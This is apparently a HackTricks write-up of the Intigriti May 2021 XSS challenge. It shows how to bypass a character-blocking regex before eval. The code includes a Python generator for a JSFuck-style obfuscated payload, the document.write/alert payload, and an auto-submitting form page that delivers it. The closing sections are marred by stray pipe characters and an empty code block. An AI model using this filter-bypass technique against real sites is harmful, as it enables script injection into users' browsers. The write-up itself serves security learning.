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https://github.com/carlospolop/hacktricks
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175 lines
76 KiB
Markdown
175 lines
76 KiB
Markdown
# challenge-0521.intigriti.io
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### Brief Description <a href="brief-description" id="brief-description"></a>
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The challenge provides a vulnerable to XSS form in the page [https://challenge-0521.intigriti.io/captcha.php](https://challenge-0521.intigriti.io/captcha.php).\
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This form is loaded in [https://challenge-0521.intigriti.io/](https://challenge-0521.intigriti.io) via an iframe.
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It was found that the form will **insert the user input inside the JavaScript `eval` function**. This is usually a bad idea as it can lead to **arbitrary JavaScript execution**, and this is a good example.\
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However, before inserting the user input inside the`eval` function, it’s checked with the regexp `/[a-df-z<>()!\\='"]/gi` so if any of those character is found, the user input won’t be executed inside `eval`.\
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Anyway, it was found a way to bypass the regexp protection and execute `alert(document.domain)` abusing the dangerous `eval` function.
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### Accessing the HTML <a href="accessing-the-html" id="accessing-the-html"></a>
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It was found that the letter `e` is permitted as user input. It was also found that there is an HTLM element using the `id="e"`. Therefore, this HtML element is accesible from Javascript just using the variable `e`:\
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Also, it’s important to know that in JS you can **access the attributes of an objects with a dot or with a string between brackets**. So, you can access the `domain` attribute of a `document` object in either of the following ways:
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```javascript
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document.domain
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document["domain"]
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```
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And the same happens with attributes that are functions (methods):
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```javascript
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document.write("1")
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document["write"]("1")
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```
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Then, from the `e` HTML element it’s possible to access the `document` object using something like:
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```javascript
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e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]
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```
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### Calling a function without parenthesis with JS code as string <a href="calling-a-function-without-parenthesis-with-js-code-as-string" id="calling-a-function-without-parenthesis-with-js-code-as-string"></a>
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From the object `document` it’s possible to call the `write` function to **write arbitrary HTML text that the browser will execute**.\
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However, as the `()` characters are **forbidden**, it’s not possible to call the function using them. Anyway, it’s possible to call a function using **backtips** (\`\`).\
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Moreover, it’s possible to put as string javascript code that is going to be executed using `${...}` like:
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```javascript
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`${"alert(document.location)"}`
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```
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Therefore, combining the `document` object access with this technique to execute functions without parenthesis it’s possible to **execute an alert using**:
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```javascript
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e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${"<script>alert(document.location)</script>"}`
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```
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You can test this code in a javascript console inside the page [https://challenge-0521.intigriti.io/captcha.php](https://challenge-0521.intigriti.io/captcha.php)
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### Final forbidden characters bypass <a href="final-forbidden-characters-bypass" id="final-forbidden-characters-bypass"></a>
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However, there is still one problem left. Most of the characters of the exploit are **forbidden** as they appear in the regexp `/[a-df-z<>()!\\='"]/gi`. But note how all the **forbidden characters are strings** inside the exploit and the **not string characters in the exploit (e\[]\`${}) are allowed**.\
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This means that if it’s possible to **generate the forbidden charaters as strings from the allowed characters**, it’s possible to generate the exploit.\
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In order to do this I have generated a [JSFuck](http://www.jsfuck.com) like alphabet to generate the necesary characters (_this alphabet is custom for this challenge_).\
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You can **see the full alphabet inside the exploit code** (which can be found in the next subsection and in the file _exploit.txt_).
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For example, in order to **generate the letter `a`** it’s possible to access **`[[]/e+e][0][1]`** as `[[]/e+e][0]` generates the string `"NaN[object HTMLProgressElement]"` or in order to generate the **letter `f`** its possible to access the **5th char of `[[][[]]+e][0]`** as that expression generates the string `"undefined[object HTMLProgressElement]"`.\
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Using these tricks and some more complex ones it was possible to **generate all the characters (letters and symbols) of the strings contained** in the exploit:
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```javascript
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e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${"<script>alert(document.location)</script>"}`
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```
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### Exploit Code <a href="exploit-code" id="exploit-code"></a>
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This is the python exploit used to generate the final exploit. If you execute it, it will print the exploit:
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```python
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#JS Specific Direct Alphabet
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x = {
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"1": "1",
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".": ".",
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"[": "[e+e][0][0]",
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"]": "[e+e][0][27]",
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"/": "[/e/+e][0][0]",
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"a": "[[]/e+e][0][1]",
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"b": "[e+e][0][2]",
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"c": "[e+e][0][5]",
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"d": "[[][[]]+e][0][2]",
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"e": "[e+e][0][4]",
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"f": "[[][[]]+e][0][4]",
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"g": "[e+e][0][15]",
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"H": "[e+e][0][8]",
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"i": "[[][[]]+e][0][5]",
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"j": "[e+e][0][3]",
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"L": "[e+e][0][11]",
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"l": "[e+e][0][21]",
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"M": "[e+e][0][10]",
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"n": "[[][[]]+e][0][1]",
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"N": "[[]/e+e][0][0]",
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"o": "[e+e][0][1]",
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"r": "[e+e][0][13]",
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"s": "[e+e][0][18]",
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"t": "[e+e][0][6]",
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"T": "[e+e][0][9]",
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"u": "[[][[]]+e][0][0]",
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}
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#JS Dependent Alphabet
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#The following alphabet will use previously obtained characters
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#Note that this way of getting the characters are custom for the abused HTML
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outerHTML = '+'.join(x[k] for k in 'outerHTML')
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x['p'] = f'e[{outerHTML}][1]'
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x['y'] = f'e[{outerHTML}][39]'
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x['<'] = f'e[{outerHTML}][0]'
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x['>'] = f'e[{outerHTML}][62]'
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x['"'] = f'e[{outerHTML}][13]'
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parentNode = '+'.join(x[k] for k in 'parentNode')
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document =f'e[{parentNode}][{parentNode}][{parentNode}][{parentNode}][{parentNode}]'
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x['h'] = f'e[{parentNode}][{parentNode}][{outerHTML}][15]'
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children = '+'.join(x[k] for k in 'children')
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captcha = '+'.join(x[k] for k in 'captcha')
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x['w'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][35]'
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write = '+'.join(x[k] for k in 'write')
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x['m'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][38]'
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x['('] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][42]'
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x[')'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][43]'
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# Exploit generation
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payload_text = '<script>alert(document["domain"])</script>'
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payload = '+'.join(x[k] for k in payload_text)
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txt = f'{document}[{write}]'+'`${['+payload+']}`'
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print(txt) #Write the exploit to stdout
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```
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### Exploitation <a href="exploitation" id="exploitation"></a>
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In order to generate the exploit just execute the previous python code. If you prefer, you can also copy/paste it from here:
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```
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|
||
```
|
||
|
||
Then, you need to **generate a HTML page** that, when loaded, it’s going to **redirect** the victim to the **challenge** page **setting the exploit in the captcha form**. The following code can be use for this purpose (_note that the exploit is URL encoded_):
|
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|
||
```markup
|
||
<!-- CSRF PoC - generated by Burp Suite Professional -->
|
||
<body>
|
||
<script>history.pushState('', '', '/')</script>
|
||
<form action="https://challenge-0521.intigriti.io/captcha.php" method="POST">
|
||
<input type="hidden" name="c" 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/>
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<input type="submit" value="Submit request" />
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</form>
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<script>
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document.forms[0].submit();
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||
</script>
|
||
</body>
|
||
</html>
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||
|
||
```
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|
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Finally, **serve the poc in a HTTP** server and access it from the browser:\
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||
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Just press **submit** on the captcha form and the alert will be executed:
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